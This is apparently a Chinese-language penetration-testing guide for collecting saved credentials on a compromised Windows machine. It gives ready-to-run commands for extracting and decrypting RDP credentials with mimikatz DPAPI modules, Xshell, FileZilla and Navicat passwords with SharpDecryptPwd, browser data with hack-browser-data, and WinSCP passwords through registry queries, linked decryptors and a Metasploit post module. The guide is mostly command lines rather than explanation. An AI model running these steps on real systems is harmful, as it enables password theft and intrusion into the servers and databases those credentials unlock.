为了扩大可访问的范围,测试人员会尝试搜搜各种常见的密码存储位置,像很多的软件就会存储密码。
1.获取RDP保存的凭证
经常使用RDP远程桌面连接远程服务器的用户可能勾选了保存连接凭证的选项,以便快速的身份验证。这些凭证使用数据保护API以加密形式存储在Windows的凭证管理器中,在%USERPROFILE%\AppData\Local\Microsoft\Credentials目录

cmdkey /list #查看当前保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*   #遍历Credentials目录下保存的历史连接凭据数据

Mimikatz导出Credentials目录下保存的历史连接凭据(加密的RDP凭据):

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit    #使用mimikatz解析指定的连接凭据

得到pdData就是凭据的加密数据,guidMasterkey是该凭据的GUID,记录guidMasterkey。执行以下命令:

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit   #找到与guidMasterKey(GUID)相关联的MasterKey

记录MasterKey,执行以下命令:

mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D/masterkey:c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733" exit

使用MasterKey值破解指定的凭据文件DFBE70A7E5CC19A398EBF1B96859CE5D,获得RDP明文凭据。

2.获取Xahell保存的凭证

Xshell会将服务器连接信息保存在Session目录下的.xsh文件中, 如果用户在连接的时候勾选了记住用户名/密码, 该文件会保存远程服务器连接的用户名和结果加密后的密码

Xshell版本	.xsh文件路径
Xshell5	%USERPROFILE%\Documents\NetSarang\Xshell\Sessions
Xshell6	%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions
Xshell7	%USERPROFILE%\Documents\NetSarang Computers\7\Xshell\Sessions

获取Xshell保存的凭据:

SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang\Xshell\Sessions"   #获取Xshell5的账密
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions"  #获取Xshell6的账密

Xshell5和6可以通过工具SharpDecryptPwd解密, 除此之外该工具还可以解密Navicate、TeamViewer、FileZilla、WinSCP、Xmangager系列产品。Xshell7后的版本通过上面命令获得的密码为一串乱码,只能使用星号密码查看器直接查看密码。

3.获取FileZilla保存的凭证
FileZilla用于FTP连接, 它会将FTP登录凭据以base64密文的格式保存在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml文件中, 可以使用SharpDecryptPwd直接一键导出FileZilla保存的凭据。
<\User>节点记录了FTP登录用户,<\Pass>节点记录Base64编码的用户密码。

SharpDecryptPwd--https://github.com/uknowsec/SharpDecryptPwd

SharpDecryptPwd.exe -FileZilla

4.获取Navicat保存的凭证
数据库类型 凭据存储路径(注册表)

Mysql	HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Server\< Connetion Name>
MariaDB	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\< Connetion Name>
MongoDB	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\< Connetion Name>
SQL SERVER	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\< Connetion Name>
Oracle	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\< Connetion Name>
PostgreSQL	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\< Connetion Name>
SQLite	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\< Connetion Name>

Navicat的注册表中记录了保存密码的连接数据, 包括IP,用户名,密码,连接数据库名,数据库类型等, 其中密码字段是结果可你算法加密后再保存的, 其中Navicat<=11版本和Navicat>=12版本分别使用不同的加密算法。

SharpDecryptPwd.exe -NavicatCrypto

5.获取浏览器保存的凭证

hack-browser-data.exe

会将相关的数据导出到当前目录下的./result目录下

6.获取WinSCP保留的登录凭据
WinSCP默认安装在C:\Program Files (x86)\WinSCP,其用户凭证可以保存在注册表或者配置文件中。

配置文件则在C:\Program Files (x86)\WinSCP\WinSCP.ini
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini

解密工具或脚本:

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

https://raw.githubusercontent.com/anoopengineer/winscppasswd/master/main.go

https://raw.githubusercontent.com/YuriMB/WinSCP-Password-Recovery/master/src/main/java/Main.java
注册表查询命令
查询注册表中winscp保存的密文

shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.80.164"


使用winscppwd.exe进行解密
winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6

Winscppwd.exe WinSCP.ini


msf模块
meterpreter > run post/windows/gather/credentials/winscp